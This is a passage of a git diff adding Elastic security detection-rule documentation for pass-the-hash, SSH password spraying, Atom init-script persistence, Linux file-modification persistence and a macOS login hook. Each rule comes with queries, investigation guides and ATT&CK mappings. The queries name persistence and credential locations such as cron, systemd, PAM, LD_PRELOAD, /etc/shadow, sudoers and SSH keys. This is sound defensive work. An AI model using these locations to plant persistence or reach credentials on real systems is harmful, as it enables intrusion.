Revoke any active sessions associated with the compromised user IDs (S-1-5-21-* or S-1-12-1-*) to disrupt the attacker's access. +- Conduct a password reset for the affected accounts and any other accounts that may have been accessed using the compromised hashes. +- Review and update access controls and permissions for the affected accounts to ensure they adhere to the principle of least privilege. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activity or attempts to use stolen hashes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional logging and monitoring for the "seclogo" logon process to enhance detection of future pass-the-hash attempts. + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and +event.category : "authentication" and event.action : "logged-in" and +winlog.logon.type : "NewCredentials" and event.outcome : "success" and +user.id : (S-1-5-21-* or S-1-12-1-*) and winlog.event_data.LogonProcessName : "seclogo" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-password-spraying-attack-via-ssh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-password-spraying-attack-via-ssh.asciidoc new file mode 100644 index 0000000000..0d40e9e298 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-password-spraying-attack-via-ssh.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-potential-password-spraying-attack-via-ssh]] +=== Potential Password Spraying Attack via SSH + +This rule detects potential password spraying attacks via SSH by identifying multiple failed login attempts from a single source IP address targeting various user accounts within a short time frame. Password spraying is a technique where an attacker attempts to gain unauthorized access by trying a few commonly used passwords against many different accounts, rather than targeting a single account with multiple password attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Password Spraying Attack via SSH* + + +This rule flags bursts of failed SSH logins coming from the same network origin against many different Linux accounts within a short window, indicating password spraying that can precede account compromise. It matters because attackers try a small set of common passwords across broad user lists to evade lockouts and find one weak credential. A typical pattern is an external VPS rapidly trying passwords like “Welcome123” or “Spring2024!” against 30+ usernames (e.g., admin, test, ubuntu, devops) over five minutes via SSH on a single server. + + +*Possible investigation steps* + + +- Check for any successful SSH authentications from the same source IP within a short window around the failures and, if found, pivot to session details such as interactive TTY use, sudo activity, and modifications like authorized_keys updates. +- Enrich the source IP with geolocation, ASN, reputation, and cloud-provider attribution and verify whether it is observed attempting SSH across multiple hosts to confirm a broad spray pattern. +- Compare the attempted usernames against your directory to identify valid and privileged or service accounts and confirm whether lockouts, password resets, or MFA challenges were triggered. +- Determine if the affected host is internet-exposed and which port SSH is reachable on, then review current SSH authentication settings (password vs key-based, PAM/MFA) to assess risk of compromise. +- Correlate the source IP with approved scanners, bastion hosts, or change tickets and maintenance windows to quickly rule out sanctioned testing or misconfigured monitoring. + + +*False positive analysis* + + +- A misconfigured internal automation or admin script on a management or jump host sequentially attempts SSH to many accounts with an outdated password, producing more than 10 distinct usernames and at least 30 failures from a single source IP within five minutes. +- Legitimate users behind a shared NAT or bastion host concurrently attempt SSH with expired credentials during a password rotation or temporary authentication issue, making failures across many distinct usernames appear to come from one IP. + + +*Response and remediation* + + +- Immediately block the spraying source IP(s) at host firewalls (iptables/nftables) and edge controls, and temporarily restrict SSH (port 22) to approved bastion/jump host CIDRs only. +- If any login succeeded or an sshd session from the same IP is active, terminate it, remove any newly added ~/.ssh/authorized_keys entries, and force password resets with MFA for the targeted users. +- Before restoring normal access, verify no persistence by checking for changes to /etc/ssh/sshd_config, sudoers, or cron jobs and reviewing /var/log/auth.log and lastlog for anomalies, then re-enable only required accounts. +- Escalate to incident response if privileged or service accounts were targeted, the spray spanned multiple servers, or there is evidence of sudo activity, file changes under /root or /etc, or a successful login, and preserve auth logs, bash histories, and firewall block artifacts. +- Harden SSH by disabling PasswordAuthentication, enforcing key-based auth with PAM MFA, setting conservative MaxAuthTries and LoginGraceTime, enabling fail2ban or equivalent bans, and restricting access via AllowUsers/AllowGroups and security group rules. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.auth-* metadata _id, _index, _version + +// Create 5-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) + +// Ensure event.action values in a list are expanded +| mv_expand event.action + +| where + event.category == "authentication" and event.action in ("ssh_login", "user_login") and event.outcome == "failure" and + source.ip is not null + +// Keep relevant fields +| keep + @timestamp, + _id, + _index, + _version, + event.category, + event.action, + event.outcome, + source.ip, + process.name, + user.name, + data_stream.dataset, + data_stream.namespace, + agent.id, + user.id, + Esql.time_window_date_trunc + +| stats + Esql.event_count = count(*), + Esql.user_name_count_distinct = count_distinct(user.name), + Esql.user_name_values = values(user.name), + Esql.process_name_values = values(process.name), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by Esql.time_window_date_trunc, source.ip + +| where Esql.user_name_count_distinct > 10 and Esql.event_count >= 30 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-atom-init-script-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-atom-init-script-modification.asciidoc new file mode 100644 index 0000000000..8020ca87b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-atom-init-script-modification.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-atom-init-script-modification]] +=== Potential Persistence via Atom Init Script Modification + +Identifies modifications to the Atom desktop text editor Init File. Adversaries may add malicious JavaScript code to the init.coffee file that will be executed upon the Atom application opening. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/D00MFist/PersistentJXA/blob/master/AtomPersist.js +* https://flight-manual.atom.io/hacking-atom/sections/the-init-file/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via Atom Init Script Modification* + + +Atom, a popular text editor, allows customization via the `init.coffee` script, which executes JavaScript upon startup. Adversaries exploit this by embedding malicious code, ensuring persistence each time Atom launches. The detection rule identifies suspicious modifications to this script on macOS, excluding benign processes and root user actions, thus highlighting potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the file modification details for /Users/*/.atom/init.coffee to identify the exact changes made to the script. +- Investigate the process that modified the init.coffee file by examining the process name and user associated with the modification, ensuring it is not Atom, xpcproxy, or the root user. +- Check the user account involved in the modification for any unusual activity or recent changes, such as new software installations or privilege escalations. +- Analyze the content of the modified init.coffee file for any suspicious or unfamiliar JavaScript code that could indicate malicious intent. +- Correlate the modification event with other security alerts or logs from the same host to identify any related suspicious activities or patterns. +- If malicious code is found, isolate the affected system and conduct a deeper forensic analysis to determine the scope and impact of the potential compromise. + + +*False positive analysis* + + +- Frequent legitimate updates to the init.coffee file by developers or power users can trigger alerts. To manage this, create exceptions for specific user accounts known to regularly modify this file for legitimate purposes. +- Automated scripts or tools that modify the init.coffee file as part of a legitimate configuration management process may cause false positives. Identify these processes and exclude them from the rule by adding their process names to the exception list. +- Non-malicious third-party Atom packages that require modifications to the init.coffee file for functionality can be mistaken for threats. Review and whitelist these packages if they are verified as safe and necessary for user workflows. +- System maintenance or administrative tasks performed by non-root users that involve changes to the init.coffee file might be flagged. Consider adding exceptions for these specific maintenance activities if they are routine and verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code. +- Review the contents of the `init.coffee` file to identify and document any unauthorized or suspicious code modifications. +- Remove any malicious code found in the `init.coffee` file and restore it to a known good state, either by reverting to a backup or by manually cleaning the file. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Change the credentials of the user account associated with the modified `init.coffee` file to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement monitoring for future unauthorized changes to the `init.coffee` file and similar persistence mechanisms, enhancing detection capabilities to quickly identify and respond to similar threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Users/*/.atom/init.coffee" and + not process.name like ("Atom", "xpcproxy") and + not user.name == "root" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-file-modification.asciidoc new file mode 100644 index 0000000000..535e7d7051 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-file-modification.asciidoc @@ -0,0 +1,364 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-file-modification]] +=== Potential Persistence via File Modification + +This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. + +*Rule type*: eql + +*Rule indices*: + +* logs-fim.event-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms +* https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms +* https://www.elastic.co/security-labs/approaching-the-summit-on-persistence +* https://www.elastic.co/security-labs/the-grand-finale-on-linux-persistence +* https://slayer0x.github.io/awscli/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: File Integrity Monitoring +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via File Modification* + + +File Integrity Monitoring (FIM) is crucial for detecting unauthorized changes to critical files, often targeted by adversaries for persistence. Attackers may modify cron jobs, systemd services, or shell configurations to maintain access or escalate privileges. The detection rule monitors these files for updates, flagging potential persistence attempts by identifying suspicious modifications outside normal operations. + + +*Possible investigation steps* + + +- Review the file path from the alert to determine which specific file was modified and assess its role in the system, focusing on paths commonly used for persistence such as cron jobs, systemd services, or shell configurations. +- Check the timestamp of the modification event to correlate it with any known legitimate changes or scheduled maintenance activities, ensuring the modification was not part of normal operations. +- Investigate the user or process responsible for the modification by examining the associated user ID or process ID, and verify if the user or process has legitimate reasons to alter the file. +- Analyze recent login and session activity for the user or process involved in the modification to identify any unusual patterns or unauthorized access attempts. +- Cross-reference the modification event with other security logs or alerts to identify any related suspicious activities, such as privilege escalation attempts or unauthorized access to sensitive files. +- If the modified file is a configuration file, review its contents for any unauthorized or suspicious entries that could indicate persistence mechanisms, such as new cron jobs or altered systemd service configurations. + + +*False positive analysis* + + +- Routine system updates or package installations may modify files monitored by the rule, such as those in /etc/cron.d or /etc/systemd/system. To manage these, consider excluding specific file paths or extensions like dpkg-new and dpkg-remove during known maintenance windows. +- User-specific configuration changes, such as updates to shell profiles in /home/*/.bashrc, can trigger alerts. Implement exceptions for user directories where frequent legitimate changes occur, ensuring these are well-documented and reviewed regularly. +- Automated scripts or management tools that update system configurations, like /etc/ssh/sshd_config, can cause false positives. Identify these tools and create exceptions for their expected file modification patterns. +- Temporary files created during system operations, such as /var/spool/cron/crontabs/tmp.*, may be flagged. Exclude these temporary paths to reduce noise while maintaining security oversight. +- Regular updates to known_hosts files in /home/*/.ssh/known_hosts can be mistaken for suspicious activity. Exclude these files from monitoring to prevent unnecessary alerts while ensuring SSH configurations are still monitored. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Review the specific file modifications flagged by the alert to determine if they are unauthorized or malicious. Restore any altered files to their last known good state using backups or system snapshots. +- Change all passwords and SSH keys associated with the affected system to prevent unauthorized access using compromised credentials. +- Conduct a thorough scan of the system for additional indicators of compromise, such as unauthorized user accounts or unexpected running processes, and remove any malicious artifacts found. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized file modifications or suspicious activities. +- Review and update access controls and permissions on critical files and directories to minimize the risk of unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from the Elastic File Integrity Monitoring (FIM) integration. + + +*Elastic FIM Integration Setup* + +To configure the Elastic FIM integration, follow these steps: + +1. Install and configure the Elastic Agent on your Linux system. You can refer to the https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html[Elastic Agent documentation] for detailed instructions. +2. Once the Elastic Agent is installed, navigate to the Elastic Security app in Kibana. +3. In the Kibana home page, click on "Integrations" in the left sidebar. +4. Search for "File Integrity Monitoring" in the search bar and select the integration. +5. Provide a name and optional description for the integration. +6. Select the appropriate agent policy for your Linux system or create a new one. +7. Configure the FIM policy by specifying the paths that you want to monitor for file modifications. You can use the same paths mentioned in the `query` field of the rule. Note that FIM does not accept wildcards in the paths, so you need to specify the exact paths you want to monitor. +8. Save the configuration and the Elastic Agent will start monitoring the specified paths for file modifications. + +For more details on configuring the Elastic FIM integration, you can refer to the https://docs.elastic.co/integrations/fim[Elastic FIM documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and data_stream.dataset == "fim.event" and event.action == "updated" and +file.path : ( + // cron, anacron & at + "/etc/cron.d/*", "/etc/cron.daily/*", "/etc/cron.hourly/*", "/etc/cron.monthly/*", + "/etc/cron.weekly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", "/etc/cron.allow", + "/etc/cron.deny", "/var/spool/anacron/*", "/var/spool/cron/atjobs/*", + + // systemd services & timers + "/etc/systemd/system/*", "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", + "/usr/lib/systemd/system/*", "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*", + + // LD_PRELOAD + "/etc/ld.so.preload", "/etc/ld.so.conf.d/*", "/etc/ld.so.conf", + + // Dynamic linker + "/lib/ld-linux*.so*", "/lib64/ld-linux*.so*", "/usr/lib/ld-linux*.so*", "/usr/lib64/ld-linux*.so*", + + // message-of-the-day (MOTD) + "/etc/update-motd.d/*", + + // SSH + "/home/*/.ssh/*", "/root/.ssh/*", "/etc/ssh/*", + + // system-wide shell configurations + "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc", "/etc/zsh/*", "/etc/csh.cshrc", + "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc", + + // root and user shell configurations + "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login", "/home/*/.bash_logout", + "/root/.profile", "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout", + "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc", + "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc", "/root/.login", "/root/.logout", + "/home/*/.config/fish/config.fish", "/root/.config/fish/config.fish", + "/home/*/.kshrc", "/root/.kshrc", + + // Alias files + "/home/*/.bash_aliases", "/root/.bash_aliases", "/home/*/.zsh_aliases", "/root/.zsh_aliases", + "/home/*/.aws/cli/alias", "/root/.aws/cli/alias", + + // runtime control + "/etc/rc.common", "/etc/rc.local", + + // System V init/Upstart + "/etc/init.d/*", "/etc/init/*", + + // passwd/sudoers/shadow + "/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/sudoers.d/*", + + // Systemd udevd + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*", "/usr/local/lib/udev/rules.d/*", + + // XDG/KDE autostart entries + "/home/*/.config/autostart/*", "/root/.config/autostart/*", "/etc/xdg/autostart/*", "/usr/share/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + + // LKM configuration files + "/etc/modules", "/etc/modprobe.d/*", "/usr/lib/modprobe.d/*", "/etc/modules-load.d/*", + "/run/modules-load.d/*", "/usr/local/lib/modules-load.d/*", "/usr/lib/modules-load.d/*", + + // PAM modules & configuration files + "/lib/security/*", "/lib64/security/*", "/usr/lib/security/*", "/usr/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/etc/pam.d/*", "/etc/security/pam_*", "/etc/pam.conf", + + // Polkit Rule files + "/etc/polkit-1/rules.d/*", "/usr/share/polkit-1/rules.d/*", + + // Polkit pkla files + "/etc/polkit-1/localauthority/*", "/var/lib/polkit-1/localauthority/*", + + // Polkit Action files + "/usr/share/polkit-1/actions/*", + + // Polkit Legacy paths + "/lib/polkit-1/rules.d/*", "/lib64/polkit-1/rules.d/*", "/var/lib/polkit-1/rules.d/*", + + // NetworkManager + "/etc/NetworkManager/dispatcher.d/*", + + // D-bus Service files + "/usr/share/dbus-1/system-services/*", "/etc/dbus-1/system.d/*", + "/lib/dbus-1/system-services/*", "/run/dbus/system.d/*", + "/home/*/.local/share/dbus-1/services/*", "/home/*/.dbus/session-bus/*", + "/usr/share/dbus-1/services/*", "/etc/dbus-1/session.d/*", + + // GRUB + "/etc/default/grub.d/*", "/etc/default/grub", "/etc/grub.d/*", "/boot/grub2/grub.cfg", + "/boot/grub/grub.cfg", "/boot/efi/EFI/*/grub.cfg", "/etc/sysconfig/grub", + + // Dracut + "/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*", + + // Misc. + "/etc/shells" + +) and not ( + file.path : ( + "/var/spool/cron/crontabs/tmp.*", "/run/udev/rules.d/*rules.*", "/home/*/.ssh/known_hosts.*", "/root/.ssh/known_hosts.*" + ) or + file.extension in ("dpkg-new", "dpkg-remove", "SEQ") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-login-hook.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-login-hook.asciidoc new file mode 100644 index 0000000000..5b31eb3eeb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-login-hook.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-login-hook]] +=== Potential Persistence via Login Hook + +Identifies the creation or modification of the login window property list (plist). Adversaries may modify plist files to run a program during system boot or user login for persistence. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/D00MFist/PersistentJXA/blob/master/LoginScript.js + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. This can be abused to establish or maintain persistence on a compromised system. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + 